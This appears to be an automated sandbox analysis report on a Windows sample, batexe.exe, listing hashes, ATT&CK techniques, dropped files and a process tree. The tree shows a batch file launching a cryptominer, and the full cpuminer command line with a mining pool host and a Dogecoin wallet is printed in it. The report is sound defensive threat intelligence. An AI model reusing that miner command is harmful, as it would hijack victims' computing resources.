73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
303s
max time network
307s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 02:41

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3538781373-1545967067-4263767959-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4820	b2e.exe
1220	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1220	cpuminer-sse2.exe
1220	cpuminer-sse2.exe
1220	cpuminer-sse2.exe
1220	cpuminer-sse2.exe
1220	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/952-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 952 wrote to memory of 4820	952	batexe.exe	86
PID 952 wrote to memory of 4820	952	batexe.exe	86
PID 952 wrote to memory of 4820	952	batexe.exe	86
PID 4820 wrote to memory of 3576	4820	b2e.exe	87
PID 4820 wrote to memory of 3576	4820	b2e.exe	87
PID 4820 wrote to memory of 3576	4820	b2e.exe	87
PID 3576 wrote to memory of 1220	3576	cmd.exe	90
PID 3576 wrote to memory of 1220	3576	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:952
- C:\Users\Admin\AppData\Local\Temp\EBD7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\EBD7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\EBD7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FC13.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3576
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\EBD7.tmp\b2e.exe

Filesize
4.1MB

MD5
a8df8640272cc34f9b2abf1fb594b3df

SHA1
aafe75d4d714551577e01a6a5316df831c68608f

SHA256
f9d1fb833f78b3a9c0849524a8f96f26ce13148b48b2781272d0d04dbf55294b

SHA512
9a6e9aa1c4215183115766b7783a41028a6401f75e20be062b468452054033b542a0bbb8cdac666625c23c11a2daa4ca8c067feffd580eb38a30816fb5d44b14

Download Submit
C:\Users\Admin\AppData\Local\Temp\EBD7.tmp\b2e.exe

Filesize
1.1MB

MD5
c8ddb9a1b99b955d28ce987616dc783a

SHA1
6a50a41aac042de84cbe5fe9cfa8ef171c1a15ba

SHA256
d42d045c7eaec84a0576fa2d1e67566cd65686605e6f66217c2da6ec9faa060a

SHA512
8804aa717bb5d9a88543175afd4ed3363ae6d1ff9846379f9bbfb7ff1b49cf0031fd6b1cbb0b1491a94d1158663021c8bf56c47050f3192b62a0c5bb5499d397

Download Submit
C:\Users\Admin\AppData\Local\Temp\EBD7.tmp\b2e.exe

Filesize
512KB

MD5
e4d2817f5e794155ac4a8a1445b9d728

SHA1
07f6972ab84878cee3a3e158cf9b0b27c8ad175d

SHA256
24781b2a837565d59faae5eff35a839726a5aa2f952f46e5e5b593f53ab6774b

SHA512
9ed2839db8465f9eb07d9bb2d29e1a35cc1c2e0b8c8f52007248752df018c899135e6d3f944e7e1363b3d5fe4928ccb71725fcaafedfd3cd496307619cf164f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\FC13.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
5263b3c42459f298245563a378085583

SHA1
8033595357cf0fb205cd2f07211e6dcddbafdb94

SHA256
c9590a9d9c5852277010621562e001f0ae7b86e0da536961370234cc68f55c68

SHA512
88f340b1f64450b01db7892fb1d3a67add59a96823bbe29eecce507ab8767255fa910a89453e988eeb611e6a5db871b97ebc688090fe019638ce4ea5fa431206

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
0284b7f8a56d440e5772def0420d4e9d

SHA1
d7b77cbfa56efb3fcdef518f0e5d240b08130df7

SHA256
8c5d87792cd5702ac624ba9bea35b85bdc70979ea59914501fbbbcbd2b7cb1e6

SHA512
494d30dc9a7a0ae3a3004ec4938892ce81c6b930daa43bf5ac799d7c18657ce51e52556a69caf6be115fcb36cde621e9dcfbab6800f30f95cd7f5b0673d63a93

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
2fe7e5835d1ef7bd1ae3ada5b2ee7369

SHA1
763d9e8a51ea87b131e3ab801639bc60af0c9e1d

SHA256
b6f489bf69c4a341b5cd9b3049df913c000f397a546cdb1ff7d26e9b85452b35

SHA512
fcb466d0d570903f1856adbe9e7d331f366c2056ae574e03584c524f7012ef7ffcd63f6a9ab3a7fe03989a337f4f04e690101e26f54c92b0dcd51dd32d5d0c45

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
b969ee11afec75e3f5d486233b44e9f0

SHA1
6e03c993dd6e785a7b9697446866c2fca81d4460

SHA256
1a86c594cc369d71053bfc2e0c7da47c2bb79bd839780753eb869948069a3d78

SHA512
f728879be7d0d8c97ee55eba9d91bd270d99d3e4aae085f61a11b20bac769022edc7f39786361d3501587e1030003f1ea277d292230fd038ebcfce1eaaa47859

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/952-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1220-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1220-45-0x000000006EB70000-0x000000006EC08000-memory.dmp

Filesize
608KB

Download
memory/1220-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1220-47-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/1220-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1220-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4820-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4820-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download